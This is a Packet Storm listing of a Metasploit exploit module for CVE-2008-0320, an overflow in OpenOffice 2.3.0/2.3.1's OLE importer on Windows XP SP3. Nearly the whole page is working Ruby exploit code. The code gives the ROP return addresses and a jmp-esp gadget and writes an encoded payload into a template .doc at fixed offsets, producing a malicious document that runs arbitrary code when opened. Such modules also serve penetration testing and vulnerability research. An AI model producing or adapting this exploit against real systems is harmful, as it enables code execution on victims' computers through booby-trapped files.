Lucene search

K
packetstormMetasploit.comPACKETSTORM:113002
HistoryMay 24, 2012 - 12:00 a.m.

OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow

2012-05-2400:00:00
metasploit.com
packetstormsecurity.com
23

0.93 High

EPSS

Percentile

98.8%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow",  
'Description' => %q{  
This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on  
Microsoft Windows XP SP3.  
  
By supplying a OLE file with a malformed DocumentSummaryInformation stream, an  
attacker can gain control of the execution flow, which results arbitrary code  
execution under the context of the user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Marsu <Marsupilamipowa[at]hotmail.fr>', # Vulnerability discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2008-0320'],  
['OSVDB', '44472'],  
['BID', '28819'],  
['EDB', '5584'],  
['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=694']  
],  
'Payload' =>  
{  
'Space' => 407  
},  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'OpenOffice 2.3.1 / 2.3.0 on Windows XP SP3',  
{  
'Ret' => 0x609345fe, # add esp, ebx # ... # ret from tl680mi  
'EBX' => 0xffffefa8, # EBX value  
'JmpEsp' => 0x60915cbd, # push esp # ret from tl680mi  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => "Apr 17 2008",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [true, 'The filename', 'msf.doc'])  
], self.class)  
end  
  
def exploit  
  
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2008-0320.doc')  
f = File.open(path, 'rb')  
template = f.read  
f.close  
  
my_payload = payload.encoded  
template[115717, 4] = [target['Ret']].pack("V")  
template[115725, 4] = [target['EBX']].pack("V")  
template[115729, 4] = [target['JmpEsp']].pack("V")  
template[115808, my_payload.length] = my_payload  
file_create(template)  
  
end  
  
end  
  
`